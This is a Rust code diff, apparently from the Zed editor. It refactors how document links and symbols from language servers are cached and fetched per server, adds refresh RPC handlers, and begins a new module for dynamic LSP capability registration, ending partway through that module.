+        if let Some((downstream_client, project_id)) = self.downstream_client.as_ref() {
+            downstream_client
+                .send(proto::RefreshDocumentLinks {
+                    project_id: *project_id,
+                    server_id: for_server.map(|server_id| server_id.to_proto()),
+                })
+                .context("sending refresh document links downstream")
+                .log_err();
+        }
+    }
+
+    pub(super) async fn handle_refresh_document_links(
+        lsp_store: Entity<Self>,
+        envelope: TypedEnvelope<proto::RefreshDocumentLinks>,
+        mut cx: AsyncApp,
+    ) -> anyhow::Result<proto::Ack> {
+        lsp_store.update(&mut cx, |lsp_store, cx| {
+            let server_id = envelope.payload.server_id.map(LanguageServerId::from_proto);
+            lsp_store.refresh_document_links(server_id, cx);
+        });
+        Ok(proto::Ack {})
+    }
+
     /// `Some(..)` means the underlying state was actually refreshed; `None`
     /// means the fetch was skipped or failed, and the caller should keep its
     /// previous data.
@@ -77,24 +130,31 @@ impl LspStore {
         let version_queried_for = buffer.read(cx).version();
         let buffer_id = buffer.read(cx).remote_id();
 
-        let current_language_servers = self.as_local().map(|local| {
-            local
-                .buffers_opened_in_servers
-                .get(&buffer_id)
-                .cloned()
-                .unwrap_or_default()
-        });
-
-        if let Some(lsp_data) = self.current_lsp_data(buffer_id)
-            && let Some(cached) = &lsp_data.document_links
-            && !version_queried_for.changed_since(&lsp_data.buffer_version)
-        {
-            let has_different_servers =
-                current_language_servers.is_some_and(|current_language_servers| {
-                    current_language_servers != cached.links.keys().copied().collect()
-                });
-            if !has_different_servers {
-                return Task::ready(Some(cached.links.clone()));
+        let current_servers = self.relevant_server_ids_for_capability_check(buffer, cx);
+
+        let mut servers_to_query = None;
+        if let Some(lsp_data) = self.current_lsp_data(buffer_id) {
+            if !version_queried_for.changed_since(&lsp_data.buffer_version)
+                && let Some(cached) = &mut lsp_data.document_links
+            {
+                match missing_servers_to_query(
+                    &mut cached.links,
+                    &mut cached.fetched_servers,
+                    &current_servers,
+                ) {
+                    Some(missing_servers) => servers_to_query = Some(missing_servers),
+                    None => return Task::ready(Some(cached.links.clone())),
+                }
+            }
+            if let Some(document_links) = &lsp_data.document_links
+                && let Some(running) = &document_links.links_update
+                && !version_queried_for.changed_since(&running.version)
+                && servers_to_query
+                    .as_ref()
+                    .is_none_or(|missing| missing.is_subset(&running.servers))
+            {
+                let running = running.task.clone();
+                return cx.background_spawn(async move { running.await.ok().flatten() });
             }
         }
 
@@ -102,91 +162,104 @@ impl LspStore {
             .latest_lsp_data(buffer, cx)
             .document_links
             .get_or_insert_default();
-        if let Some((updating_for, running_update)) = &links_lsp_data.links_update
-            && !version_queried_for.changed_since(updating_for)
-        {
-            let running = running_update.clone();
-            return cx.background_spawn(async move { running.await.ok().flatten() });
-        }
-
+        let fetch_id = next_lsp_fetch_id();
+        let queried_servers = servers_to_query
+            .clone()
+            .unwrap_or_else(|| current_servers.clone());
         let buffer = buffer.clone();
         let query_version = version_queried_for.clone();
         let new_task = cx
-            .spawn(async move |lsp_store, cx| {
-                cx.background_executor()
-                    .timer(Duration::from_millis(30))
-                    .await;
+            .spawn({
+                let queried_servers = queried_servers.clone();
+                async move |lsp_store, cx| {
+                    cx.background_executor()
+                        .timer(Duration::from_millis(30))
+                        .await;
+
+                    let fetched = lsp_store
+                        .update(cx, |lsp_store, cx| {
+                            lsp_store.fetch_document_links_for_buffer(&buffer, servers_to_query, cx)
+                        })
+                        .map_err(Arc::new)?
+                        .await
+                        .context("fetching document links")
+                        .map_err(Arc::new);
+
+                    let fetched = match fetched {
+                        Ok(fetched) => fetched,
+                        Err(e) => {
+                            lsp_store
+                                .update(cx, |lsp_store, _| {
+                                    if let Some(lsp_data) = lsp_store.lsp_data.get_mut(&buffer_id)
+                                        && let Some(document_links) = &mut lsp_data.document_links
+                                    {
+                                        RunningFetch::take_finished(
+                                            &mut document_links.links_update,
+                                            fetch_id,
+                                        );
+                                    }
+                                })
+                                .ok();
+                            return Err(e);
+                        }
+                    };
+
+                    lsp_store
+                        .update(cx, |lsp_store, cx| {
+                            let lsp_data = lsp_store.latest_lsp_data(&buffer, cx);
+                            let links_data = lsp_data.document_links.get_or_insert_default();
+                            if !RunningFetch::take_finished(&mut links_data.links_update, fetch_id)
+                            {
+                                return Some(links_data.links.clone());
+                            }
 
-                let fetched = lsp_store
-                    .update(cx, |lsp_store, cx| {
-                        lsp_store.fetch_document_links_for_buffer(&buffer, cx)
-                    })
-                    .map_err(Arc::new)?
-                    .await
-                    .context("fetching document links")
-                    .map_err(Arc::new);
-
-                let fetched = match fetched {
-                    Ok(fetched) => fetched,
-                    Err(e) => {
-                        lsp_store
-                            .update(cx, |lsp_store, _| {
-                                if let Some(lsp_data) = lsp_store.lsp_data.get_mut(&buffer_id)
-                                    && let Some(document_links) = &mut lsp_data.document_links
-                                {
-                                    document_links.links_update = None;
+                            let Some(fetched_links) = fetched else {
+                                return None;
+                            };
+
+                            let mut tagged = BufferDocumentLinks::default();
+                            for (server_id, server_links) in fetched_links {
+                                let mut by_id = HashMap::default();
+                                by_id.reserve(server_links.len());
+                                for link in server_links {
+                                    let id = DocumentLinkId(links_data.next_id);
+                                    links_data.next_id += 1;
+                                    by_id.insert(id, link);
                                 }
-                            })
-                            .ok();
-                        return Err(e);
-                    }
-                };
-
-                lsp_store
-                    .update(cx, |lsp_store, cx| {
-                        let lsp_data = lsp_store.latest_lsp_data(&buffer, cx);
-                        let links_data = lsp_data.document_links.get_or_insert_default();
-                        links_data.links_update = None;
-
-                        let Some(fetched_links) = fetched else {
-                            return None;
-                        };
-
-                        let mut tagged = BufferDocumentLinks::default();
-                        for (server_id, server_links) in fetched_links {
-                            let mut by_id = HashMap::default();
-                            by_id.reserve(server_links.len());
-                            for link in server_links {
-                                let id = DocumentLinkId(links_data.next_id);
-                                links_data.next_id += 1;
-                                by_id.insert(id, link);
+                                tagged.insert(server_id, by_id);
                             }
-                            tagged.insert(server_id, by_id);
-                        }
 
-                        if lsp_data.buffer_version == query_version {
-                            for (server_id, new_links) in &tagged {
-                                links_data.links.insert(*server_id, new_links.clone());
+                            if lsp_data.buffer_version == query_version {
+                                for (server_id, new_links) in &tagged {
+                                    links_data.links.insert(*server_id, new_links.clone());
+                                }
+                                links_data.fetched_servers.extend(queried_servers);
+                                // The newly inserted links are unresolved by definition; drop any
+                                // pending resolves that were keyed against the prior entries for
+                                // those servers so callers re-issue against the fresh ids.
+                                links_data.link_resolves.clear();
+                                Some(links_data.links.clone())
+                            } else if !lsp_data.buffer_version.changed_since(&query_version) {
+                                lsp_data.buffer_version = query_version;
+                                links_data.links = tagged;
+                                links_data.fetched_servers = queried_servers;
+                                links_data.link_resolves.clear();
+                                Some(links_data.links.clone())
+                            } else {
+                                None
                             }
-                            // The newly inserted links are unresolved by definition; drop any
-                            // pending resolves that were keyed against the prior entries for
-                            // those servers so callers re-issue against the fresh ids.
-                            links_data.link_resolves.clear();
-                            Some(links_data.links.clone())
-                        } else if !lsp_data.buffer_version.changed_since(&query_version) {
-                            lsp_data.buffer_version = query_version;
-                            links_data.links = tagged;
-                            links_data.link_resolves.clear();
-                            Some(links_data.links.clone())
-                        } else {
-                            None
-                        }
-                    })
-                    .map_err(Arc::new)
+                        })
+                        .map_err(Arc::new)
+                }
             })
             .shared();
 
-        links_lsp_data.links_update = Some((version_queried_for, new_task.clone()));
+        links_lsp_data.links_update = Some(RunningFetch {
+            id: fetch_id,
+            version: version_queried_for,
+            servers: queried_servers,
+            task: new_task.clone(),
+        });
 
         cx.background_spawn(async move { new_task.await.ok().flatten() })
     }
@@ -201,9 +274,14 @@ impl LspStore {
     fn fetch_document_links_for_buffer(
         &mut self,
         buffer: &Entity<Buffer>,
+        for_servers: Option<HashSet<LanguageServerId>>,
         cx: &mut Context<Self>,
     ) -> Task<anyhow::Result<Option<HashMap<LanguageServerId, Vec<LspDocumentLink>>>>> {
         if let Some((client, project_id)) = self.upstream_client() {
+            // No `for_servers` filter is forwarded: unlike its siblings, `GetDocumentLinks`
+            // is answered from the host's own `fetch_document_links` cache with the full
+            // per-server map, to spare the LSP request (see collab's
+            // `test_lsp_document_links`), so filtering could not reduce the work anyway.
             let request = GetDocumentLinks;
             if !self.is_capable_for_proto_request(buffer, &request, cx) {
                 return Task::ready(Ok(None));
@@ -263,8 +341,13 @@ impl LspStore {
                 Ok(Some(result))
             })
         } else {
-            let links_task =
-                self.request_multiple_lsp_locally(buffer, None::<usize>, GetDocumentLinks, cx);
+            let links_task = self.request_filtered_lsp_locally(
+                buffer,
+                None::<usize>,
+                GetDocumentLinks,
+                for_servers.as_ref(),
+                cx,
+            );
             cx.background_spawn(async move { Ok(Some(links_task.await.into_iter().collect())) })
         }
     }
diff --git a/crates/project/src/lsp_store/document_symbols.rs b/crates/project/src/lsp_store/document_symbols.rs
index babb08ffc1de79..20088da3211a6e 100644
--- a/crates/project/src/lsp_store/document_symbols.rs
+++ b/crates/project/src/lsp_store/document_symbols.rs
@@ -3,21 +3,24 @@ use std::sync::Arc;
 use std::time::Duration;
 
 use anyhow::Context as _;
-use clock::Global;
-use collections::HashMap;
+use collections::{HashMap, HashSet};
 use futures::FutureExt as _;
 use futures::future::{Shared, join_all};
-use gpui::{AppContext as _, Context, Entity, Task};
+use gpui::{AppContext as _, AsyncApp, Context, Entity, Task};
 use itertools::Itertools;
 use language::{Buffer, BufferSnapshot, OutlineItem};
 use lsp::LanguageServerId;
+use rpc::{TypedEnvelope, proto};
 use settings::Settings as _;
 use text::{Anchor, Bias, PointUtf16};
 use util::ResultExt;
 
 use crate::DocumentSymbol;
 use crate::lsp_command::{GetDocumentSymbols, LspCommand as _};
-use crate::lsp_store::LspStore;
+use crate::lsp_store::{
+    LspStore, LspStoreEvent, RunningFetch, missing_servers_to_query, next_lsp_fetch_id,
+    upstream_lsp_query_server_filter,
+};
 use crate::project_settings::ProjectSettings;
 
 pub(super) type DocumentSymbolsTask =
@@ -26,16 +29,67 @@ pub(super) type DocumentSymbolsTask =
 #[derive(Debug, Default)]
 pub(super) struct DocumentSymbolsData {
     symbols: HashMap<LanguageServerId, Vec<OutlineItem<Anchor>>>,
-    symbols_update: Option<(Global, DocumentSymbolsTask)>,
+    fetched_servers: HashSet<LanguageServerId>,
+    symbols_update: Option<RunningFetch<DocumentSymbolsTask>>,
 }
 
 impl DocumentSymbolsData {
     pub(super) fn remove_server_data(&mut self, for_server: LanguageServerId) {
         self.symbols.remove(&for_server);
+        self.fetched_servers.remove(&for_server);
+        RunningFetch::discard_if_queried(&mut self.symbols_update, for_server);
+    }
+
+    fn evict(&mut self, for_server: Option<LanguageServerId>) {
+        match for_server {
+            Some(server_id) => self.remove_server_data(server_id),
+            None => {
+                self.symbols.clear();
+                self.fetched_servers.clear();
+            }
+        }
+        self.symbols_update = None;
     }
 }
 
 impl LspStore {
+    pub(super) fn refresh_document_symbols(
+        &mut self,
+        for_server: Option<LanguageServerId>,
+        cx: &mut Context<Self>,
+    ) {
+        for lsp_data in self.lsp_data.values_mut() {
+            if let Some(document_symbols) = &mut lsp_data.document_symbols {
+                document_symbols.evict(for_server);
+            }
+        }
+
+        cx.emit(LspStoreEvent::RefreshDocumentSymbols {
+            server_id: for_server,
+        });
+        if let Some((downstream_client, project_id)) = self.downstream_client.as_ref() {
+            downstream_client
+                .send(proto::RefreshDocumentSymbols {
+                    project_id: *project_id,
+                    server_id: for_server.map(|server_id| server_id.to_proto()),
+                })
+                .context("sending refresh document symbols downstream")
+                .log_err();
+        }
+    }
+
+    pub(super) async fn handle_refresh_document_symbols(
+        lsp_store: Entity<Self>,
+        envelope: TypedEnvelope<proto::RefreshDocumentSymbols>,
+        mut cx: AsyncApp,
+    ) -> anyhow::Result<proto::Ack> {
+        lsp_store.update(&mut cx, |lsp_store, cx| {
+            let server_id = envelope.payload.server_id.map(LanguageServerId::from_proto);
+            lsp_store.refresh_document_symbols(server_id, cx);
+        });
+        Ok(proto::Ack {})
+    }
+
     /// Returns a task that resolves to the document symbol outline items for
     /// the given buffer.
     ///
@@ -53,22 +107,20 @@ impl LspStore {
         let version_queried_for = buffer.read(cx).version();
         let buffer_id = buffer.read(cx).remote_id();
 
-        let current_language_servers = self.as_local().map(|local| {
-            local
-                .buffers_opened_in_servers
-                .get(&buffer_id)
-                .cloned()
-                .unwrap_or_default()
-        });
+        let current_servers = self.relevant_server_ids_for_capability_check(buffer, cx);
 
+        let mut servers_to_query = None;
         if let Some(lsp_data) = self.current_lsp_data(buffer_id) {
-            if let Some(cached) = &lsp_data.document_symbols {
-                if !version_queried_for.changed_since(&lsp_data.buffer_version) {
-                    let has_different_servers =
-                        current_language_servers.is_some_and(|current_language_servers| {
-                            current_language_servers != cached.symbols.keys().copied().collect()
-                        });
-                    if !has_different_servers {
+            if !version_queried_for.changed_since(&lsp_data.buffer_version)
+                && let Some(cached) = &mut lsp_data.document_symbols
+            {
+                match missing_servers_to_query(
+                    &mut cached.symbols,
+                    &mut cached.fetched_servers,
+                    &current_servers,
+                ) {
+                    Some(missing_servers) => servers_to_query = Some(missing_servers),
+                    None => {
                         let snapshot = buffer.read(cx).snapshot();
                         return Task::ready(
                             cached
@@ -83,90 +135,118 @@ impl LspStore {
                     }
                 }
             }
+            if let Some(document_symbols) = &lsp_data.document_symbols
+                && let Some(running) = &document_symbols.symbols_update
+                && !version_queried_for.changed_since(&running.version)
+                && servers_to_query
+                    .as_ref()
+                    .is_none_or(|missing| missing.is_subset(&running.servers))
+            {
+                let running = running.task.clone();
+                return cx
+                    .background_spawn(async move { running.await.log_err().unwrap_or_default() });
+            }
         }
 
         let doc_symbols_data = self
             .latest_lsp_data(buffer, cx)
             .document_symbols
             .get_or_insert_default();
-        if let Some((updating_for, running_update)) = &doc_symbols_data.symbols_update {
-            if !version_queried_for.changed_since(updating_for) {
-                let running = running_update.clone();
-                return cx
-                    .background_spawn(async move { running.await.log_err().unwrap_or_default() });
-            }
-        }
-
+        let fetch_id = next_lsp_fetch_id();
+        let queried_servers = servers_to_query
+            .clone()
+            .unwrap_or_else(|| current_servers.clone());
         let buffer = buffer.clone();
         let query_version = version_queried_for.clone();
         let new_task = cx
-            .spawn(async move |lsp_store, cx| {
-                cx.background_executor()
-                    .timer(Duration::from_millis(30))
-                    .await;
-
-                let fetched = lsp_store
-                    .update(cx, |lsp_store, cx| {
-                        lsp_store.fetch_document_symbols_for_buffer(&buffer, cx)
-                    })
-                    .map_err(Arc::new)?
-                    .await
-                    .context("fetching document symbols")
-                    .map_err(Arc::new);
-
-                let fetched = match fetched {
-                    Ok(fetched) => fetched,
-                    Err(e) => {
-                        lsp_store
-                            .update(cx, |lsp_store, _| {
-                                if let Some(lsp_data) = lsp_store.lsp_data.get_mut(&buffer_id) {
-                                    if let Some(document_symbols) = &mut lsp_data.document_symbols {
-                                        document_symbols.symbols_update = None;
+            .spawn({
+                let queried_servers = queried_servers.clone();
+                async move |lsp_store, cx| {
+                    cx.background_executor()
+                        .timer(Duration::from_millis(30))
+                        .await;
+
+                    let fetched = lsp_store
+                        .update(cx, |lsp_store, cx| {
+                            lsp_store.fetch_document_symbols_for_buffer(
+                                &buffer,
+                                servers_to_query,
+                                cx,
+                            )
+                        })
+                        .map_err(Arc::new)?
+                        .await
+                        .context("fetching document symbols")
+                        .map_err(Arc::new);
+
+                    let fetched = match fetched {
+                        Ok(fetched) => fetched,
+                        Err(e) => {
+                            lsp_store
+                                .update(cx, |lsp_store, _| {
+                                    if let Some(lsp_data) = lsp_store.lsp_data.get_mut(&buffer_id)
+                                        && let Some(document_symbols) =
+                                            &mut lsp_data.document_symbols
+                                    {
+                                        RunningFetch::take_finished(
+                                            &mut document_symbols.symbols_update,
+                                            fetch_id,
+                                        );
                                     }
-                                }
-                            })
-                            .ok();
-                        return Err(e);
-                    }
-                };
-
-                lsp_store
-                    .update(cx, |lsp_store, cx| {
-                        let snapshot = buffer.read(cx).snapshot();
-                        let lsp_data = lsp_store.latest_lsp_data(&buffer, cx);
-                        let doc_symbols = lsp_data.document_symbols.get_or_insert_default();
-
-                        if let Some(fetched_symbols) = fetched {
-                            let converted = fetched_symbols
-                                .iter()
-                                .map(|(&server_id, symbols)| {
-                                    let mut items = Vec::new();
-                                    flatten_document_symbols(symbols, &snapshot, 0, &mut items);
-                                    (server_id, items)
                                 })
-                                .collect();
-                            if lsp_data.buffer_version == query_version {
-                                doc_symbols.symbols.extend(converted);
-                            } else if !lsp_data.buffer_version.changed_since(&query_version) {
-                                lsp_data.buffer_version = query_version;
-                                doc_symbols.symbols = converted;
-                            }
+                                .ok();
+                            return Err(e);
                         }
-                        doc_symbols.symbols_update = None;
-                        doc_symbols
-                            .symbols
-                            .values()
-                            .flatten()
-                            .unique()
-                            .cloned()
-                            .sorted_by(|a, b| a.range.start.cmp(&b.range.start, &snapshot))
-                            .collect()
-                    })
-                    .map_err(Arc::new)
+                    };
+
+                    lsp_store
+                        .update(cx, |lsp_store, cx| {
+                            let snapshot = buffer.read(cx).snapshot();
+                            let lsp_data = lsp_store.latest_lsp_data(&buffer, cx);
+                            let doc_symbols = lsp_data.document_symbols.get_or_insert_default();
+
+                            if RunningFetch::take_finished(
+                                &mut doc_symbols.symbols_update,
+                                fetch_id,
+                            ) && let Some(fetched_symbols) = fetched
+                            {
+                                let converted = fetched_symbols
+                                    .iter()
+                                    .map(|(&server_id, symbols)| {
+                                        let mut items = Vec::new();
+                                        flatten_document_symbols(symbols, &snapshot, 0, &mut items);
+                                        (server_id, items)
+                                    })
+                                    .collect();
+                                if lsp_data.buffer_version == query_version {
+                                    doc_symbols.symbols.extend(converted);
+                                    doc_symbols.fetched_servers.extend(queried_servers);
+                                } else if !lsp_data.buffer_version.changed_since(&query_version) {
+                                    lsp_data.buffer_version = query_version;
+                                    doc_symbols.symbols = converted;
+                                    doc_symbols.fetched_servers = queried_servers;
+                                }
+                            }
+                            doc_symbols
+                                .symbols
+                                .values()
+                                .flatten()
+                                .unique()
+                                .cloned()
+                                .sorted_by(|a, b| a.range.start.cmp(&b.range.start, &snapshot))
+                                .collect()
+                        })
+                        .map_err(Arc::new)
+                }
             })
             .shared();
 
-        doc_symbols_data.symbols_update = Some((version_queried_for, new_task.clone()));
+        doc_symbols_data.symbols_update = Some(RunningFetch {
+            id: fetch_id,
+            version: version_queried_for,
+            servers: queried_servers,
+            task: new_task.clone(),
+        });
 
         cx.background_spawn(async move { new_task.await.log_err().unwrap_or_default() })
     }
@@ -174,6 +254,7 @@ impl LspStore {
     fn fetch_document_symbols_for_buffer(
         &mut self,
         buffer: &Entity<Buffer>,
+        for_servers: Option<HashSet<LanguageServerId>>,
         cx: &mut Context<Self>,
     ) -> Task<anyhow::Result<Option<HashMap<LanguageServerId, Vec<DocumentSymbol>>>>> {
         if let Some((client, project_id)) = self.upstream_client() {
@@ -187,7 +268,7 @@ impl LspStore {
                 .get_request_timeout();
             let request_task = client.request_lsp(
                 project_id,
-                None,
+                upstream_lsp_query_server_filter(for_servers.as_ref()),
                 request_timeout,
                 cx.background_executor().clone(),
                 request.to_proto(project_id, buffer.read(cx)),
@@ -235,8 +316,13 @@ impl LspStore {
                 Ok(Some(result))
             })
         } else {
-            let symbols_task =
-                self.request_multiple_lsp_locally(buffer, None::<usize>, GetDocumentSymbols, cx);
+            let symbols_task = self.request_filtered_lsp_locally(
+                buffer,
+                None::<usize>,
+                GetDocumentSymbols,
+                for_servers.as_ref(),
+                cx,
+            );
             cx.background_spawn(async move { Ok(Some(symbols_task.await.into_iter().collect())) })
         }
     }
diff --git a/crates/project/src/lsp_store/dynamic_registration.rs b/crates/project/src/lsp_store/dynamic_registration.rs
new file mode 100644
index 00000000000000..7df7a238e4070a
--- /dev/null
+++ b/crates/project/src/lsp_store/dynamic_registration.rs
@@ -0,0 +1,1054 @@
+//! Handling of `client/registerCapability` and `client/unregisterCapability` requests,
+//! which let language servers toggle their capabilities at runtime.
+//!
+//! Multiple registrations of the same capability may coexist: the most recent one is
+//! "active" and mirrored into the server's [`lsp::ServerCapabilities`], while the rest
+//! (including the statically declared capability, if any) are kept to be restored when
+//! the active registration is unregistered.
+
+use anyhow::{Context as _, Result};
+use collections::{BTreeSet, HashSet};
+use gpui::{Context, SharedString};
+use lsp::{
+    CompletionOptions, DiagnosticServerCapabilities, LanguageServer, LanguageServerId, OneOf,
+    TextDocumentSyncSaveOptions,
+};
+
+use crate::lsp_store::{
+    LanguageServerState, LspStore, RenamePathsWatchedForServer, lsp_workspace_diagnostics_refresh,
+    notify_server_capabilities_updated,
+};
+
+#[derive(Debug)]
+pub(super) enum RegistrationSource {
+    Static,
+    Dynamic(String),
+}
+
+impl RegistrationSource {
+    pub(super) fn registration_id(&self) -> Option<&str> {
+        match self {
+            RegistrationSource::Static => None,
+            RegistrationSource::Dynamic(id) => Some(id),
+        }
+    }
+}
+
+pub(super) type CapabilityRegistrations<T> = Vec<(RegistrationSource, T)>;
+
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+enum CapabilityUnregistration {
+    NotFound,
+    Removed { active_capability_changed: bool },
+}
+
+impl CapabilityUnregistration {
+    fn removed(self) -> bool {
+        self != CapabilityUnregistration::NotFound
+    }
+
+    fn capability_changed(self) -> bool {
+        self == CapabilityUnregistration::Removed {
+            active_capability_changed: true,
+        }
+    }
+}
+
+#[derive(Default, Debug)]
+pub(super) struct DynamicRegistrations {
+    pub(super) did_change_watched_files: HashSet<String>,
+    pub(super) diagnostics: CapabilityRegistrations<DiagnosticServerCapabilities>,
+    workspace_folders: CapabilityRegistrations<lsp::WorkspaceFoldersServerCapabilities>,
+    workspace_symbol: CapabilityRegistrations<OneOf<bool, lsp::WorkspaceSymbolOptions>>,
+    file_operations: CapabilityRegistrations<lsp::WorkspaceFileOperationsServerCapabilities>,
+    execute_command: CapabilityRegistrations<lsp::ExecuteCommandOptions>,
+    range_formatting: CapabilityRegistrations<OneOf<bool, lsp::DocumentRangeFormattingOptions>>,
+    on_type_formatting: CapabilityRegistrations<lsp::DocumentOnTypeFormattingOptions>,
+    formatting: CapabilityRegistrations<OneOf<bool, lsp::DocumentFormattingOptions>>,
+    rename: CapabilityRegistrations<OneOf<bool, lsp::RenameOptions>>,
+    code_action: CapabilityRegistrations<lsp::CodeActionProviderCapability>,
+    definition: CapabilityRegistrations<OneOf<bool, lsp::DefinitionOptions>>,
+    completion: CapabilityRegistrations<lsp::CompletionOptions>,
+    hover: CapabilityRegistrations<lsp::HoverProviderCapability>,
+    signature_help: CapabilityRegistrations<lsp::SignatureHelpOptions>,
+    color: CapabilityRegistrations<lsp::ColorProviderCapability>,
+    folding_range: CapabilityRegistrations<lsp::FoldingRangeProviderCapability>,
+    document_link: CapabilityRegistrations<lsp::DocumentLinkOptions>,
+    semantic_tokens: CapabilityRegistrations<lsp::SemanticTokensServerCapabilities>,
+    inlay_hint: CapabilityRegistrations<OneOf<bool, lsp::InlayHintServerCapabilities>>,
+    code_lens: CapabilityRegistrations<lsp::CodeLensOptions>,
+    document_symbol: CapabilityRegistrations<OneOf<bool, lsp::DocumentSymbolOptions>>,
+}
+
+impl LspStore {
+    /// Returns `true` when the registration changed the server's active capability value:
+    /// duplicate-ID replacements of non-active registrations and (re-)registrations with
+    /// options identical to the active ones do not.
+    fn register_dynamic_capability<T: Clone + PartialEq>(
+        &mut self,
+        server: &LanguageServer,
+        method: &str,
+        registration_id: String,
+        options: T,
+        cx: &mut Context<Self>,
+        registrations_of: impl FnOnce(&mut DynamicRegistrations) -> &mut CapabilityRegistrations<T>,
+        capability_of: impl Fn(&mut lsp::ServerCapabilities) -> &mut Option<T>,
+    ) -> anyhow::Result<bool> {
+        let server_id = server.server_id();
+        let local = self
+            .as_local_mut()
+            .context("Expected LSP Store to be local")?;
+        let registrations = registrations_of(
+            local
+                .language_server_dynamic_registrations
+                .entry(server_id)
+                .or_default(),
+        );
+        if registrations.is_empty() {
+            let mut initial_capabilities = server.capabilities();
+            if let Some(static_options) = capability_of(&mut initial_capabilities).take() {
+                registrations.push((RegistrationSource::Static, static_options));
+            }
+        }
+        let previously_active = registrations.last().map(|(_, options)| options.clone());
+        if let Some(index) = registrations
+            .iter()
+            .position(|(source, _)| source.registration_id() == Some(registration_id.as_str()))
+        {
+            log::warn!(
+                "Received a duplicate {method} registration with ID {registration_id}, replacing the previous one"
+            );
+            registrations[index].1 = options;
+        } else {
+            registrations.push((RegistrationSource::Dynamic(registration_id), options));
+        }
+        let active = registrations.last().map(|(_, options)| options.clone());
+        let active_changed = active != previously_active;
+        if active_changed {
+            server.update_capabilities(|capabilities| *capability_of(capabilities) = active);
+            notify_server_capabilities_updated(server, cx);
+        }
+        Ok(active_changed)
+    }
+
+    fn unregister_dynamic_capability<T: Clone + PartialEq>(
+        &mut self,
+        server: &LanguageServer,
+        unregistration: &lsp::Unregistration,
+        cx: &mut Context<Self>,
+        registrations_of: impl FnOnce(&mut DynamicRegistrations) -> &mut CapabilityRegistrations<T>,
+        capability_of: impl FnOnce(&mut lsp::ServerCapabilities) -> &mut Option<T>,
+    ) -> anyhow::Result<CapabilityUnregistration> {
+        let server_id = server.server_id();
+        let local = self
+            .as_local_mut()
+            .context("Expected LSP Store to be local")?;
+        let registrations = local
+            .language_server_dynamic_registrations
+            .get_mut(&server_id)
+            .map(registrations_of);
+        let index = registrations.as_ref().and_then(|registrations| {
+            registrations.iter().position(|(source, _)| {
+                source.registration_id() == Some(unregistration.id.as_str())
+            })
+        });
+        let (Some(registrations), Some(index)) = (registrations, index) else {
+            log::warn!(
+                "Attempted to unregister non-existent {} registration with ID {}",
+                unregistration.method,
+                unregistration.id
+            );
+            return Ok(CapabilityUnregistration::NotFound);
+        };
+        let removed_active = index + 1 == registrations.len();
+        let (_, removed_options) = registrations.remove(index);
+        let restored = registrations.last().map(|(_, options)| options.clone());
+        if !removed_active || restored.as_ref() == Some(&removed_options) {
+            return Ok(CapabilityUnregistration::Removed {
+                active_capability_changed: false,
+            });
+        }
+        server.update_capabilities(|capabilities| *capability_of(capabilities) = restored);
+        notify_server_capabilities_updated(server, cx);
+        Ok(CapabilityUnregistration::Removed {
+            active_capability_changed: true,
+        })
+    }
+
+    fn update_paths_watched_for_rename(&mut self, server: &LanguageServer) {
+        let Some(local) = self.as_local_mut() else {
+            return;
+        };
+        let watcher = server
+            .capabilities()
+            .workspace
+            .and_then(|workspace| workspace.file_operations)
+            .and_then(|file_operations| {
+                let did_rename_caps = file_operations.did_rename.as_ref();
+                let will_rename_caps = file_operations.will_rename.as_ref();
+                did_rename_caps.or(will_rename_caps)?;
+                Some(
+                    RenamePathsWatchedForServer::default()
+                        .with_did_rename_patterns(did_rename_caps)
+                        .with_will_rename_patterns(will_rename_caps),
+                )
+            });
+        match watcher {
+            Some(watcher) => {
+                local
+                    .language_server_paths_watched_for_rename
+                    .insert(server.server_id(), watcher);
+            }
+            None => {
+                local
+                    .language_server_paths_watched_for_rename
+                    .remove(&server.server_id());
+            }
+        }
+    }
+
+    fn apply_completion_triggers(
+        &self,
+        server_id: LanguageServerId,
+        options: Option<CompletionOptions>,
+        cx: &mut Context<Self>,
+    ) {
+        let Some(local) = self.as_local() else {
+            return;
+        };
+        let mut buffers_with_language_server = Vec::new();
+        for handle in self.buffer_store.read(cx).buffers() {
+            let buffer_id = handle.read(cx).remote_id();
+            if local
+                .buffers_opened_in_servers
+                .get(&buffer_id)
+                .filter(|s| s.contains(&server_id))
+                .is_some()
+            {
+                buffers_with_language_server.push(handle);
+            }
+        }
+        let triggers = options
+            .and_then(|options| options.trigger_characters)
+            .unwrap_or_default()
+            .into_iter()
+            .collect::<BTreeSet<_>>();
+        for handle in buffers_with_language_server {
+            let triggers = triggers.clone();
+            handle.update(cx, move |buffer, cx| {
+                buffer.set_completion_triggers(server_id, triggers, cx);
+            });
+        }
+    }
+
+    pub(super) fn register_server_capabilities(
+        &mut self,
+        server_id: LanguageServerId,
+        params: lsp::RegistrationParams,
+        cx: &mut Context<Self>,
+    ) -> anyhow::Result<()> {
+        let server = self
+            .language_server_for_id(server_id)
+            .with_context(|| format!("no server {server_id} found"))?;
+        for reg in params.registrations {
+            match reg.method.as_str() {
+                "workspace/didChangeWatchedFiles" => {
+                    if let Some(options) = reg.register_options {
+                        let notify = if let Some(local_lsp_store) = self.as_local_mut() {
+                            let caps = serde_json::from_value(options)?;
+                            local_lsp_store
+                                .on_lsp_did_change_watched_files(server_id, &reg.id, caps, cx);
+                            true
+                        } else {
+                            false
+                        };
+                        if notify {
+                            notify_server_capabilities_updated(&server, cx);
+                        }
+                    }
+                }
+                "workspace/didChangeConfiguration" => {
+                    // Ignore payload since we notify clients of setting changes unconditionally, relying on them pulling the latest settings.
+                }
+                "workspace/didChangeWorkspaceFolders" => {
+                    // In this case register options is an empty object, we can ignore it
+                    let caps = lsp::WorkspaceFoldersServerCapabilities {
+                        supported: Some(true),
+                        change_notifications: Some(OneOf::Right(reg.id.clone())),
+                    };
+                    self.register_dynamic_capability(
+                        &server,
+                        &reg.method,
+                        reg.id,
+                        caps,
+                        cx,
+                        |registrations| &mut registrations.workspace_folders,
+                        |capabilities| {
+                            &mut capabilities
+                                .workspace
+                                .get_or_insert_default()
+                                .workspace_folders
+                        },
+                    )?;
+                }
+                "workspace/symbol" => {
+                    let options = parse_register_capabilities(reg.register_options)?;
+                    self.register_dynamic_capability(
+                        &server,
+                        &reg.method,
+                        reg.id,
+                        options,
+                        cx,
+                        |registrations| &mut registrations.workspace_symbol,
+                        |capabilities| &mut capabilities.workspace_symbol_provider,
+                    )?;
+                }
+                "workspace/fileOperations" => {
+                    if let Some(options) = reg.register_options {
+                        let caps = serde_json::from_value(options)?;
+                        if self.register_dynamic_capability(
+                            &server,
+                            &reg.method,
+                            reg.id,
+                            caps,
+                            cx,
+                            |registrations| &mut registrations.file_operations,
+                            |capabilities| {
